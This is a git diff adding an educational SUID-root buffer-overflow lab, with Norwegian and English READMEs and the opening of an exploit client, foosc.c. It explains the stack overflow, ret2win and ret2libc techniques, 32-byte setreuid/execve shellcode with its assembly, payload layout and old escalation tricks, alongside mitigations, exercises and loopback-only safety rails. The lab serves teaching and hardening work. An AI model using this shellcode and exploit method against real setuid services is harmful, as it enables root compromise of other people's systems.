+foosc: WARNING: the daemon is NOT running with euid 0. + The payload will still land, but the shell will be + a plain user shell, not root. + Fix: sudo make setuid +``` + +«Virket, men ikke root»-resultatet er selv en del av laboratoriet. Husk det til +neste avsnitt. + +--- + +## 5. Mekanismen — og vrien som gjør SUID interessant + +### 5.1 Overløpet (identisk med `food`) + +`foosd`s handler gir et `read()` 512 bytes tillit, mens den rekker den et +64-byte stack-buffer: + +```c +char buf[64]; +n = read(fd, buf, 512); /* <- CWE-120: 448 bytes over kanten */ +``` + +På x86-64 vokser stacken nedover. Exploitet skriver 64 bytes søppel for å fylle +`buf`, 8 for å fylle den lagrede rammepekeren og 8 til for å erstatte den +**lagrede returadressen**. Når `vulnerable_handler` utfører `ret`, popper CPU-en +angriperens verdi inn i `RIP` — angriperkontrollert kodeutførelse. Exploitet +finner den nøyaktige avstanden (88 bytes for denne builden) ved å parse +`objdump`-utdata i stedet for å hardkode den, så tallet overlever ombygginger. + +### 5.2 Vrien: shellen nekter å være root + +Her er det der å tenke «SUID-feil → spawn /bin/sh → root» ville gått galt, og +hvorfor dette laboratoriet har nøyaktig den formen det har. + +Når et setuid-root-program kjører, er `ruid` fortsatt den startende brukeren, og +`euid` er root. Hvis programmet — eller angriperen — nå starter en shell: + +* `execve("/bin/sh")` endrer **ikke** u-id-ene; den nye prosessen arver + `(ruid=1000, euid=0)`. +* bash (og dash) **sjekker nøyaktig den tilstanden ved start**. Fra + bash-manualen: *«If the shell is started with the effective user (group) id + not equal to the real user (group) id, and the -p option is not supplied, … + the effective user id is set to the real user id.»* + +Så shellen ser på seg selv og *dropper root* — et forsvar +shell-forfatterne bygde nøyaktig mot dette angrepet (den historiske +begrunnelsen var setuid-shell-/setuid-skript-problemet). Resultatet er +«virket, men ikke root»-tilfellene: + +| Teknikk | Hva den utfører | Resulterende uid | +|-----------|------------------|---------------| +| `ret2win` | `foosd`s `win()` → `execl("/bin/sh")` | **1000** — shell landet, root nullstilt av bash | +| `ret2libc` | `system("/bin/sh")` → fersk `sh -c '/bin/sh'` | **1000** — samme nullstilling, ett nivå ned | +| `ret2win-root` | `foosd`s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid ryddet fra C | +| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid ryddet fra maskinkode | + +De to som når root, skiller seg fra de to som ikke gjør det, med nøyaktig én idé: +**de rydder den *reelle* uid-en, ikke bare den effektive.** + +```c +setuid(0) /* setter euid til 0, men ruid forblir 1000: + bash ser fortsatt euid != ruid og nullstiller FORTSATT. */ +setreuid(0, 0) /* setter BEGGE: ruid = euid = 0. + bash ser like uid-er og beholder root. */ +``` + +Det er derfor den klassiske `/bin/sh`-shellcoden du finner overalt på nettet, +starter med et uid-ryddende syscall — og grunnen til at shellcoden her er 32 +bytes i stedet for 23: de første fem instruksjonene er + +```asm +xor edi, edi ; ruid = 0 +xor esi, esi ; euid = 0 +push 0x71 ; 113 = __NR_setreuid +pop rax +syscall +``` + +### 5.3 Så hva er exploitet, fra ende til annen? + +1. `foosc` leser `foosd`s banner over socketen. Det får: + - `ids=0/1000` — euid/ruid (SUID-selvdiagnosen) + - `stack=…` og `libc=…` — pekere (ASLR-leaksene) + - `BUF=…` — den nøyaktige adressen på bufferen den er i ferd med å renne over +2. Fra målbinærfilen (via `objdump`) lærer det `rip_off` og adressene til + `win()` / `win_root()`. +3. Fra *sin egen* libc (via `/proc/self/maps` + `dlsym` + et minnesøk) måler det + offsetene for `system`, `read`, `/bin/sh` og et `pop rdi; ret`-gadget — + ingenting er hardkodet. +4. Det setter sammen payloaden. For `-t shellcode` er det: + `[32-byte-setreuid+execve-kode][padding til RIP][ret-fix][adresse på buf]`. +5. `foosd`s `read()` renner over; `ret` lander på shellcoden; kjernen utfører + `setreuid(0,0)` (helt greit: euid 0 er privilegert) og deretter `execve` av + `/bin/sh`. bash starter med `ruid == euid == 0` og forblir root. +6. `foosc` videresender terminalen din til den root-shellen, til du skriver + `exit`. + +Én bekvemmelighetsdetalj som koster folk mye tid hvis den overses: exploitet +tester hver uid-ryddende adferd **uten** først å trenge setuid-biten. Kjør +`make test` før `make setuid`, så ser du hver teknikk lande en shell mens +`ROOT=MISSING` står; kjør `make test-suid` etter `make setuid`, så dukker +`ROOT=SEEN` opp ved de to teknikkene som rydder den reelle uid-en. Den A/B-en er +hele leksjonen, utført på ti sekunder. + +--- + +## 6. De gamle one-linerne — og hvorfor de fleste av dem er døde + +Har du lest om SUID, har du lest om `PATH`-kapring, `LD_PRELOAD` og +setuid-shells. Alle tre er klassiske, og alle tre feiler på et moderne system +mot *dette programmet*. Det er verdt å vite nøyaktig hvorfor, fordi grunnene er +forsvarene du får gratis: + +| Angrepsklasse | Gammel påstand | Hvorfor den feiler på en moderne maskin | +|--------------|-----------|------------------------------| +| `LD_PRELOAD` av et ondsinnet bibliotek | «Setuid-programmet laster min `.so` og kjører koden min som root.» | Kjernen merker en setuid-binærfil som **AT_SECURE**; glibc ignorerer deretter `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` og venner. Miljøet behandles som *upålitelig input*. `LD_PRELOAD` mot en setuid-binærfil er en no-op. | +| `PATH`-kapring (`system("ls")` med en forgiftet PATH) | «Pek PATH mot en mappe med min falske `ls`; root-programmet kjører den.» | Et annet ansikt av samme forsvar: en AT_SECURE-prosess får en **sanert `PATH`** (en sikker standard, omtrent `/usr/local/bin:/usr/bin:/bin`) for `system()`/`execvp`, så den forgiftede mappen konsulteres aldri. | +| Setuid-`system()`-kommandoinjeksjon | «Den injiserte kommandoen kjører med euid 0.» | `system()` kjører kommandoen i en fersk `/bin/sh`, og den shellen — §5.2 — nullstiller `euid = ruid` ved start. Den injiserte kommandoen utføres med den *reelle* uid-en. (Det er fortsatt en feil; den eskalerer bare ikke lenger gjennom `/bin/sh`.) | +| Setuid-root-shell på disken (`cp /bin/sh /tmp; chmod u+s`) | «Kjør den, få root.» | Nøyaktig forsvaret ovenfor, og det er grunnen til at moderne distroer ikke leverer noen setuid-root-shell. Selv når du lykkes med å lage én, nekter bash å beholde euid 0 med mindre den startes med `-p`. | + +Det som forblir i live, og det er dette laboratoriet: **programmet er *allerede* +root når det kjører.** Du trenger ikke miljøet eller `system()`; du trenger at +programmet utfører *din* kode (via en minnekorrupsjonsfeil) mens det er +privilegert, og at koden din er omhyggelig nok til selv å rette opp +uid-mismatchen — `setreuid(0,0)` — før den overrekker deg en shell. +Minnekorrupsjon + SUID er kombinasjonen som fortsatt ender i `uid=0`, noe som er +nøyaktig hvorfor minnesikre språk, canaries og no-execute-stacker ikke er en +moteavgjørelse. + +--- + +## 7. Sikkerhetsgelenderne som er bygget inn i daemonen + +`foosd` er bevisst det *dårligste* stykket programvare i dette repositoriet, så +det bærer også flest gelendere: + +1. **Bare loopback, håndhevet.** `foosd` nekter enhver bind-adresse utenom + loopback, med mindre du gir `-L`. En setuid-root-listener på et ekte + grensesnitt er en fjern root-tjeneste; avslaget er standarden, så den + farlige tilstanden må skrives inn bevisst. +2. **Selvdiagnose.** Ved start logger den `ruid`/`euid` og om den kjører som + root, så konsollen viser den tilstanden exploitet avhenger av. +3. **Loggen når aldri klienten.** Daemonen reserverer en privat + logg-descriptor før sockets erstatter fd 1, så crash-reporter-utdata og + interne stier ikke kan leses tilbake over ledningen av angriperen. +4. **Crash-reporter.** En SIGSEGV-handler logger `RIP`/`RSP` — den verdien + angriperen skrev inn i returadressen — så en vellykket kapring er synlig i + `foosd.log` i stedet for å være en stille død. +5. **`make unsetuid`.** Fjerning av biten er scriptet, fordi å etterlate den + satt er feiltilstanden folk faktisk har. + +--- + +## 8. Mottiltak — hva hvert stopper, og hva det *ikke* stopper + +Anvendt på `foosd` via `make hardened`, én om gangen eller sammen: + +| Mottiltak | Hva det stopper | Hva det *ikke* stopper | +|------------|---------------|-------------------------| +| `-fstack-protector-strong` (canary) | Overløpet: `ret` oppdager en smadret canary og aborter, før angriperens adresse brukes. Stopper her **alle fire** teknikkene — de deler det ene sårbare `read()`-et. | Ingenting ved *designet*: binærfilen er fortsatt setuid-root; en annen feil (format-streng-`%n`, heap-overflow, use-after-free) har ingen canary å utløse. | +| `-fPIE -pie` (ASLR for binærfilen) | Bruk av forutsigbare `win()`/`win_root()`-adresser (ret2win-teknikkene). | Shellcode-teknikken, hvis en stack-adresse fortsatt lekker (`BUF=`-linjen). | +| `-z noexecstack` (NX / W^X) | Shellcoden: CPU-en nekter å hente instruksjoner fra en data-only-side, så et hopp til `buf` er et SIGSEGV. | ROP — å kjøre kode som allerede finnes (`ret2libc`). | +| Alle tre sammen | En vanskelig-å-renne-over, randomisert binærfil med ikke-kjørbar stack. Slik ser en normal hardet build ut. | Setuid-biten. **En hardet SUID-binærfil er fortsatt en SUID-binærfil.** Hvis noen nåbar minnesikkerhetsfeil overlever, er det fortsatt «feil i en root-prosess». | + +Konsollbeviset er `make test-hardened`, som bytter den hardnede builden inn og +viser alle teknikkene dø ved canaryen, mens `foosd_hardened.log` fanger +`*** stack smashing detected ***`. + +To mottiltak på designnivå som ingen kompilator-flag leverer, og som +hovedlaboratoriet (`food`) også bruker: + +- **Minste privilegium.** En daemon for en uprivilegert port (2343 > 1024) har + intet legitimt behov for root. En korrekt `foosd` ville binde og deretter + `setgroups`/`setgid`/`setuid` til en uprivilegert konto og *bekrefte at det + holdt* (den korrekte versjonen står i kilden som `drop_privs()`, aldri kalt — + ikke-kallingen er laboratoriets feil nr. 3). +- **Begrens read-et.** `n = read(fd, buf, sizeof(buf) - 1)`. Én korrekt linje + overgår hvert kompilator-flag i tabellen. + +--- + +## 9. Wire-protokollen (så du kan lese daemonen med netcat) + +```text +FOOSD 1.0 - deliberately vulnerable SUID service +Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512. +FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f... +BUF=0x7ffd... +``` + +* `ids=euid/ruid` — kunne ikke skrives ut som `euid=`/`ruid=`, fordi + test-harnessen beviser en shell ved å greppe etter det bokstavelige `uid=`, og + banneret må ikke inneholde det (en sonde som deler signatur med svaret, er en + klassisk falsk-positiv-felle; se kommentaren i `foosd.c`). Harnessen krever + dessuten den strenge `id`-utdataformen — `uid=NNN(...)` — så ingenting + daemonen eller exploitet skriver ut kan oppfylle sjekken ved en tilfeldighet: + `foosc`s eget «target euid=… ruid=…» inneholder `uid=` som delstreng, noe som + en gang fikk en hardnet test til å melde en shell som aldri hadde kjørt. +* `stack=`, `libc=`, `BUF=` — ASLR-leaksene: lar shellcode og ret2libc beregne + eksakte adresser. + +--- + +## 10. Øvelser + +1. **Betrakt ikke-root-nedgraderingen.** Kjør `make test` *før* `make setuid`, + og deretter igjen etterpå. Forklar `ROOT=SEEN`-endringen med + ruid/euid-historien i §5.2. +2. **Les krasjet.** Kjør `./foosc -t demo -n` og les deretter `foosd.log`. + Linjen `RIP=0x4141414141414141` er angriperens padding — beviset på at + overløpet, ikke uhell, kontrollerer utførelsen. +3. **Legg til canaryen.** `make hardened` og endre selv `test-hardened`-løkken; + logglinjen `*** stack smashing detected ***` er forsvaret som virker. +4. **Deaktiver leaket.** Kommentér `BUF=`-linjen i `foosd.c` ut, bygg om, og se + `-t shellcode` gå fra deterministisk til et gjettespill. Den ene linjen er + grunnen til at ekte ASLR-bypasser er et helt felt. +5. **`-p`-eksperimentet.** Endre i en kopi av `win()` `execl("/bin/sh", "sh", + NULL)` til `execl("/bin/sh", "sh", "-p", NULL)` og observer root. `-p` er + den dokumenterte nødutgangen fra shellens vakt — og grunnen til at rådet + «spawn bare en shell» fra gamle write-ups er ufullstendig. +6. **Hvorfor ikke `setuid(0)`?** Omskriv shellcoden til å kalle `setuid(0)` + i stedet for `setreuid(0,0)` (syscall 105). Shellen lander fortsatt — og + faller fortsatt til `uid=1000`. Det er det mest lærerike + én-linjes-eksperimentet i hele repositoriet. + +--- + +## 11. Sikkerhet og opprydding + +- Bare loopback, som standard og etter design; `-L` binder lenger, og bare en + egnet-til-å-kastes VM bør i det hele tatt vurdere det. +- Dette er et root-shell-laboratorium. Ikke kjør det på en maskin som betyr + noe, og pek ikke `foosc -h` mot noe du ikke eier. +- Oppryddingsritual: `make stop` og deretter `make unsetuid`, og hvis du vil ha + treet plettfritt igjen: `sudo make clean`. + +```console +$ make stop +$ make unsetuid +``` \ No newline at end of file diff --git a/suid/README.md b/suid/README.md new file mode 100644 index 0000000..547af1e --- /dev/null +++ b/suid/README.md @@ -0,0 +1,388 @@ +# SUID-Root RCE Lab — `foosd` (daemon) + `foosc` (exploit) + +A companion to the parent lab (`food` / `fooc`, a plain daemon where a buffer +overflow gives you a *user* shell). This one adds the most dangerous +one-character change in Unix: the **setuid bit**. + +> `chmod u+s` turns "the attacker can run code on this host" into "the +> attacker can run code as **root** on this host". + +That sentence is the entire lab. Everything below is the mechanism underneath +it, written down so that when you write your own software you know exactly +which two or three filesystem attributes and compiler flags decide whether a +memory-safety bug in your code is a nuisance or a root shell. + +The final demo, when `foosd` is setuid-root, is a **root shell** opened over +the network by executing 32 bytes of hand-written shellcode. + +--- + +## 1. What the setuid bit actually does + +Every process on Linux carries three user IDs, and the setuid bit tinkers +with the relationship between them: + +| ID | Name | Meaning | +|----|------|---------| +| `ruid` | real user ID | the account that *started* the process | +| `euid` | effective user ID | what the kernel checks when enforcing access | +| (saved) | saved set-user-ID | a "slot" a privileged process may return to later | + +A normal program has `ruid == euid`. When you execute a binary with the +setuid bit set and owned by root: + +```text +ruid = you (e.g. 1000, "hanez") +euid = the owner (e.g. 0, "root") +``` + +The process therefore has **root's authority** even though the user who +launched it is completely ordinary. Every check the kernel performs — can +this process read `/etc/shadow`? write a file? kill another process? — is +answered using `euid`, i.e. "yes, it's root". + +`foosd` is a network daemon. It binds a port, then `fork()`s a child per +connection. A fork *inherits* the euid, so every child that handles a +connection is also root. The overflow in `foosd`'s `vulnerable_handler()` is +therefore an overflow *inside a root process*. + +**Diagnose it yourself once the daemon runs:** + +```console +$ ./foosd ... # see the log line it prints at startup +[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process +``` + +and from the exploit: + +```console +$ ./foosc -t leak +foosc: target euid=0 ruid=1000 +``` + +--- + +## 2. The lab at a glance + +| File | Role | +|------|------| +| `foosd.c` | The intentionally vulnerable daemon (owns the bugs). Run as a *setuid-root* binary for the root-shell demo. | +| `foosc.c` | The exploit. Defaults to the 32-byte `setreuid + execve` shellcode technique. | +| `shellcode.S` | The reference shellcode; `make verify` diffs it against the byte array in `foosc.c`. | +| `tests/pty_suid_test.c` | Test harness. Drives `foosc` through a pseudo-terminal and proves *both* "a shell ran" *and* "it was root" (`uid=0(`). | +| `Makefile` | Build, `setuid`/`unsetuid` helpers, test matrix. | +| `README.md` | This file. | + +> **Why a pty?** The exploit's last act is to relay your terminal to the +> shell executing on the victim. A pipe or here-doc lands on the wrong end of +> that relay; a real terminal is required. + +--- + +## 3. Quick start + +```console +$ make # build everything, as your normal user +$ make setuid # one-time, asks for sudo: chown root + chmod u+s +$ make run # start foosd on 127.0.0.1:2343 +$ make test-suid # full matrix; shellcode + ret2win-root must give root +``` + +Interactive smoke test: + +```console +$ ./foosc -t shellcode +... +foosc: target euid=0 ruid=1000 +foosc: shell is on the victim (root if foosd is SUID); relaying +# id +uid=0(root) gid=0(root) groups=0(root) <-- you are root, on the victim +# exit +``` + +When you are done: + +```console +$ make stop +$ make unsetuid # hygiene: never leave a root SUID binary lying around +``` + +--- + +## 4. *When should I set the SUID bit?* — the answer you asked for + +Exactly **once, after building, before running the daemon for the +root-shell demos** — and only on a machine that is yours, disposable, and +off the network: + +```console +$ make # compile foosd, foosc, tests +$ make setuid # <-- THE moment. sudo chown root:root foosd && sudo chmod u+s foosd +$ make run # start AFTER setting the bit +``` + +Two rules that matter more than the exact timing: + +1. **Set it only after the binary is final.** If you rebuild (`make` / `make + clean`) after setting the bit you will hit a "Permission denied" writing + the root-owned output file — and if you force the rebuild, the toolchain + recreates the file **without** the `s`, silently undoing the setup. The + canonical sequence whenever you rebuild is therefore + + ```console + $ make unsetuid && make && make setuid + ``` + +2. **Remove it when you are done.** `make unsetuid`. A live, root-owned, + setuid binary with an exploitable bug sitting in your tree is not a + learning aid, it is a root hole with a compile error between it and + nowhere. On a shared or production machine: **don't do any of this.** + The daemon also refuses by default to bind anything but loopback (see + §7). + +If you run the exploit *without* ever setting the bit, nothing breaks — the +payload still lands and you still get a shell. The difference is in one +number, and the exploit says it out loud: + +```console +foosc: WARNING: the daemon is NOT running with euid 0. + The payload will still land, but the shell will be + a plain user shell, not root. + Fix: sudo make setuid +``` + +That "works, but not root" outcome is itself part of the lab. Keep it in +mind for the next section. + +--- + +## 5. The mechanism — and the twist that makes SUID interesting + +### 5.1 The overflow (identical to `food`) + +`foosd`'s handler gives a `read()` 512 bytes of trust while handing it a +64-byte stack buffer: + +```c +char buf[64]; +n = read(fd, buf, 512); /* <- CWE-120: 448 bytes over the edge */ +``` + +On x86-64 the stack grows down. The exploit writes 64 bytes of junk to fill +`buf`, 8 to fill the saved frame pointer, and 8 more to replace the **saved +return address**. When `vulnerable_handler` executes `ret`, the CPU pops the +attacker's value into `RIP` — attacker-controlled code execution. The +exploit discovers the exact distance (88 bytes for this build) by parsing +`objdump` output rather than hardcoding it, so the number survives rebuilds. + +### 5.2 The twist: the shell refuses to be root + +Here is where thinking "SUID bug → spawn /bin/sh → root" would go wrong, and +why this lab has the exact shape it has. + +When a setuid-root program runs, its `ruid` is still the launching user and +its `euid` is root. If the program — or the attacker — now starts a shell: + +* `execve("/bin/sh")` does **not** change the uids; the new process inherits + `(ruid=1000, euid=0)`. +* bash (and dash) **check exactly that condition at startup**. From the bash + manual: *"If the shell is started with the effective user (group) id not + equal to the real user (group) id, and the -p option is not supplied, … + the effective user id is set to the real user id."* + +So the shell takes one look at itself and *drops root* — a defence the shell +authors built specifically against this attack (the historical justification +was the setuid-shell / setuid-script problem). The result is the “works, but +not root” cases: + +| Technique | What it executes | Resulting uid | +|-----------|------------------|---------------| +| `ret2win` | `foosd`'s `win()` → `execl("/bin/sh")` | **1000** — shell landed, root reset by bash | +| `ret2libc` | `system("/bin/sh")` → fresh `sh -c '/bin/sh'` | **1000** — same reset, one level down | +| `ret2win-root` | `foosd`'s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid cleared from C | +| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid cleared from machine code | + +The two that reach root differ from the two that don't by exactly one +idea: **they clear the *real* uid, not just the effective one.** + +```c +setuid(0) /* changes euid to 0, but ruid stays 1000: + bash still sees euid != ruid and STILL resets. */ +setreuid(0, 0) /* changes BOTH: ruid = euid = 0. + bash sees equal uids and keeps root. */ +``` + +That is why the classic `/bin/sh` shellcode you will find everywhere on the +internet starts with a uid-clearing syscall — and it is the reason the +shellcode here is 32 bytes instead of 23: the first five instructions are + +```asm +xor edi, edi ; ruid = 0 +xor esi, esi ; euid = 0 +push 0x71 ; 113 = __NR_setreuid +pop rax +syscall +``` + +### 5.3 So what is the exploit, end to end? + +1. `foosc` reads `foosd`'s banner over the socket. It gets: + - `ids=0/1000` — euid/ruid (the SUID self-diagnosis) + - `stack=…` and `libc=…` — pointers (the ASLR leaks) + - `BUF=…` — the exact address of the buffer it is about to overflow +2. From the target binary (via `objdump`) it learns `rip_off` and the + addresses of `win()` / `win_root()`. +3. From *its own* libc (via `/proc/self/maps` + `dlsym` + a memory scan) it + measures the offsets of `system`, `read`, `/bin/sh` and a + `pop rdi; ret` gadget — nothing is hardcoded. +4. It assembles the payload. For `-t shellcode` that is: + `[32-byte setreuid+execve code][padding to RIP][ret fix][address of buf]`. +5. `foosd`'s `read()` overflows; `ret` lands on the shellcode; the kernel + executes `setreuid(0,0)` (fine: euid 0 is privileged) and then `execve` + of `/bin/sh`. bash starts with `ruid == euid == 0` and stays root. +6. `foosc` relays your terminal to that root shell until you type `exit`. + +One sanity detail that costs people a lot of time if missed: the exploit +tests each uid-clearing behaviour **without** needing the setuid bit first. +Run `make test` before `make setuid` and you will watch every technique land +a shell while `ROOT=MISSING`; run `make test-suid` after `make setuid` and +`ROOT=SEEN` appears on the two techniques that clear the real uid. That A/B +is the whole lesson, executable in ten seconds. + +--- + +## 6. The old one-liners — and why most of them are dead + +If you have read about SUID, you have read about `PATH` hijacking, `LD_PRELOAD`, +and setuid shells. All three are classic, and all three fail on a modern +system against *this program*. It is worth knowing precisely why, because the +reasons are the defences you get for free: + +| Attack class | Old claim | Why it fails on a modern box | +|--------------|-----------|------------------------------| +| `LD_PRELOAD` a malicious library | "The setuid program loads my `.so` and runs my code as root." | The kernel marks a setuid binary as **AT_SECURE**; glibc then ignores `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` and friends. The environment is treated as *untrusted input*. `LD_PRELOAD` against a setuid binary is a no-op. | +| `PATH` hijack (`system("ls")` with a poisoned PATH) | "Point PATH at a directory containing my fake `ls`; the root program runs it." | A second face of the same defence: an AT_SECURE process gets a **sanitized `PATH`** (a safe default, `/usr/local/bin:/usr/bin:/bin`-ish) for `system()`/`execvp`, so the poisoned directory is never consulted. | +| Setuid `system()` command injection | "The injected command runs with euid 0." | `system()` runs the command in a fresh `/bin/sh`, and that shell — §5.2 — resets `euid = ruid` on startup. The injected command executes as the *real* uid. (It is still a bug; it just no longer escalates through `/bin/sh`.) | +| Setuid root shell on disk (`cp /bin/sh /tmp; chmod u+s`) | "Run it, get root." | Exactly the defense above, and it is why modern distros ship no setuid root shell. Even when you succeed in making one, bash refuses to keep euid 0 unless started with `-p`. | + +What remains alive, and is this lab: **the program is *already* root when it +runs.** You do not need the environment or `system()`; you need the program +to execute *your* code (via a memory-corruption bug) while privileged, and +your code must be careful enough to fix the uid mismatch itself — +`setreuid(0,0)` — before it hands you a shell. Memory corruption + SUID is +the combination that still ends in `uid=0`, which is exactly why memory-safe +languages, canaries, and no-execute stacks are not a fashion choice. + +--- + +## 7. The safety rails built into the daemon + +`foosd` is deliberately the *worst* piece of software in this repository, so +it also carries the most guard rails: + +1. **Loopback only, enforced.** `foosd` refuses any bind address other than + loopback unless you pass `-L`. A setuid-root listener on a real + interface is a remote root service; the refusal is the default so the + dangerous state has to be typed in deliberately. +2. **Self-diagnosis.** At startup it logs `ruid`/`euid` and whether it is + running as root, so the console shows the state the exploit depends on. +3. **The log never reaches the client.** The daemon reserves a private log + descriptor before sockets replace fd 1, so crash reporter output and + internal paths cannot be read back over the wire by the attacker. +4. **Crash reporter.** A SIGSEGV handler logs `RIP`/`RSP` — the value the + attacker wrote into the return address — so a successful hijack is + visible in `foosd.log` instead of being a silent death. +5. **`make unsetuid`.** Removing the bit is scripted, because leaving it set + is the failure mode people actually have. + +--- + +## 8. Mitigations — what each one does and does *not* stop + +Applied to `foosd` via `make hardened`, one at a time or together: + +| Mitigation | What it stops | What it does *not* stop | +|------------|---------------|-------------------------| +| `-fstack-protector-strong` (canary) | The overflow: `ret` detects a smashed canary and aborts before the attacker's address is used. Stops **all four** techniques here — they share the one vulnerable `read()`. | Nothing about the *design*: the binary is still setuid root; a different bug (format string `%n`, heap overflow, use-after-free) has no canary to trip. | +| `-fPIE -pie` (ASLR for the binary) | Using predictable `win()`/`win_root()` addresses (the ret2win techniques). | The shellcode technique, if a stack address still leaks (the `BUF=` line). | +| `-z noexecstack` (NX / W^X) | The shellcode: the CPU refuses to fetch instructions from a data-only page, so jumping to `buf` is a SIGSEGV. | ROP — running code that already exists (`ret2libc`). | +| All three together | A hard-to-overflow, randomised, non-executable-stack binary. This is what a normal hardened build looks like. | The setuid bit. **A hardened SUID binary is still a SUID binary.** If any reachable memory-safety bug survives, it is still "bug inside a root process". | + +The console proof is `make test-hardened`, which swaps in the hardened build +and shows all techniques dying at the canary while `foosd_hardened.log` +records `*** stack smashing detected ***`. + +Two design-level mitigations that no compiler flag delivers, and that the +parent lab (`food`) uses as well: + +- **Least privilege.** A daemon for an unprivileged port (2343 > 1024) has + no legitimate need for root. A correct `foosd` would bind, then + `setgroups`/`setgid`/`setuid` to an unprivileged account and *verify it + stuck* (the correct version is in the source as `drop_privs()`, never + called — the un-called-ness is Bug #3 of the lab). +- **Bound the read.** `n = read(fd, buf, sizeof(buf) - 1)`. One correct + line outranks every compiler flag in the table. + +--- + +## 9. The wire protocol (so you can read the daemon with netcat) + +```text +FOOSD 1.0 - deliberately vulnerable SUID service +Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512. +FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f... +BUF=0x7ffd... +``` + +* `ids=euid/ruid` — could not be printed as `euid=`/`ruid=` because the test + harness proves a shell by grepping for the literal `uid=` and the banner + must not contain it (a probe sharing a signature with the answer is a + classic false-positive trap; see the comment in `foosd.c`). The harness + additionally requires the strict `id`-output shape — `uid=NNN(...)` — so + nothing the daemon or the exploit prints can satisfy the check by + accident: `foosc`'s own "target euid=… ruid=…" chatter contains `uid=` as + a substring, which once made a hardened-build test report a shell that + had never run. +* `stack=`, `libc=`, `BUF=` — the ASLR leaks: allow the shellcode and + ret2libc to compute exact addresses. + +--- + +## 10. Exercises + +1. **Watch the non-root demotion.** Run `make test` *before* `make + setuid`, then again after. Explain the `ROOT=SEEN` change using the + ruid/euid story in §5.2. +2. **Read the crash.** Run `./foosc -t demo -n` and then read `foosd.log`. + The `RIP=0x4141414141414141` line is the attacker's padding — the proof + that the overflow, not bad luck, controls execution. +3. **Add the canary.** `make hardened` and change the `test-hardened` loop + yourself; the log line `*** stack smashing detected ***` is the defence + working. +4. **Disable the leak.** Comment out the `BUF=` line in `foosd.c`, + rebuild, and watch `-t shellcode` go from deterministic to a guessing + game. That single line is why real ASLR bypasses are a whole field. +5. **The `-p` experiment.** In a copy of `win()`, change `execl("/bin/sh", + "sh", NULL)` to `execl("/bin/sh", "sh", "-p", NULL)` and observe root. + `-p` is the documented escape hatch from the shell's guard — and the + reason "just spawn a shell" advice from old write-ups is incomplete. +6. **Why not `setuid(0)`?** Rewrite the shellcode to call `setuid(0)` + instead of `setreuid(0,0)` (syscall 105). The shell still lands — and + still drops to `uid=1000`. This is the single most instructive one-line + experiment in the whole repository. + +--- + +## 11. Safety and cleanup + +- Loopback only, by default and by design; `-L` binds further, and only a + disposable VM should even consider it. +- This is a root-shell lab. Do not run it on a machine that matters, and do + not point `foosc -h` at anything you do not own. +- Cleanup ritual: `make stop` then `make unsetuid`, and if you want the tree + pristine again `sudo make clean`. + +```console +$ make stop +$ make unsetuid +``` \ No newline at end of file diff --git a/suid/foosc.c b/suid/foosc.c new file mode 100644 index 0000000..6355e46 --- /dev/null +++ b/suid/foosc.c @@ -0,0 +1,1142 @@ +/* + * ============================================================================ + * foosc.c -- "foosc": the exploit for the SUID-root daemon `foosd` + * ============================================================================ + * + * PURPOSE + * ------- + * `foosc` connects to `foosd`, reads the leaks it publishes, and builds a + * payload that overwrites the saved return address on `foosd`'s stack. When + * foosd is running SETUID ROOT (which `make setuid` arranges), the resulting + * shell runs with euid 0: this is RCE that ends in a *root* shell. + * + * The technique that gets root is the default and the star of the show: + * + * TECHNIQUE: shellcode + * ------------- + * The payload is 32 bytes of raw machine code that does + * + * setreuid(0, 0) ; ALSO clear the real uid -- see below + * execve("/bin/sh", 0, 0) ; become a shell + * + * It is placed on foosd's stack and the hijacked `ret` jumps to it. The + * setreuid is not optional. bash (and dash) compare euid against ruid at + * startup and RESET euid = ruid whenever the two differ, so a plain + * execve("/bin/sh") out of a setuid process would give you a shell that + * swiftly forgets it was root. setreuid(0,0) makes both ids 0, the shell + * sees equal uids, and root survives. (Why ruid matters is explained in + * the comement blocks around SHELLCODE[] and in README.md.) + * + * Other techniques are included for comparison, and each is a lesson: + * + * ret2win jump to foosd's `win()`. It execs /bin/sh WITHOUT + * clearing ruid, so you get a shell that is NOT root + * -- the shell's own privilege guard robbed you. This is + * exactly what happens to naive "SUID + system()" code. + * ret2win-root jump to foosd's `win_root()`, which calls + * setreuid(0,0) from C first. ROOT shell, no shellcode. + * ret2libc call system("/bin/sh"). system() runs the command in a + * fresh /bin/sh, which -- same guard -- drops the + * effective id: a shell, but NOT root. + * leak just print what the daemon tells us, send no payload. + * demo overflow with 'A's only: proves the bug via SIGSEGV. + * + * THE SUID STATE IS PART OF THE PROTOCOL + * -------------------------------------- + * The daemon's banner includes "ids=euid/ruid". foosc prints a loud warning + * when euid is not 0, i.e. when you have not run `sudo make setuid` yet -- + * without the bit, everything below still works, but the shell is a plain + * user shell and thinking the exploit "failed" would be wrong. + * + * SAFETY + * ------ + * Defaults to 127.0.0.1:2343. This lab produces ROOT shells on the machine + * it runs against. Point it at anything you do not own and you are + * committing a computer-intrusion offence. Don't. + * + * Build: make foosc + * Usage: ./foosc [-h HOST] [-p PORT] [-b BINARY] [-t TECH] [-i] [-n] [-v] + * + * THE SHELL IS ON THE VICTIM + * -------------------------- + * Like fooc before it, this program never spawns a local shell. After the + * payload lands there is exactly one shell, running inside foosd's hijacked + * (root) process with the TCP connection as its stdio. This side only + * relays bytes -- see become_shell() for the story of why that is the only + * correct design. + * ============================================================================ + */ + +/* glibc extensions: memmem(), dlsym(), MAP_ANONYMOUS. */ +#define _GNU_SOURCE + +#include /* inet_pton(): "127.0.0.1" -> 4 bytes. */ +#include /* isspace()/isxdigit() for parsing. */ +#include /* dlsym(): find a symbol's address in OUR libc. */ +#include /* errno / strerror(). */ +#include /* open(), O_NONBLOCK. */ +#include /* struct sockaddr_in, htons(). */ +#include /* poll(): multiplex the terminal and the socket. */ +#include /* uint64_t. */ +#include /* printf and friends. */ +#include /* exit(), malloc(), strtoul(). */ +#include /* memcpy(), 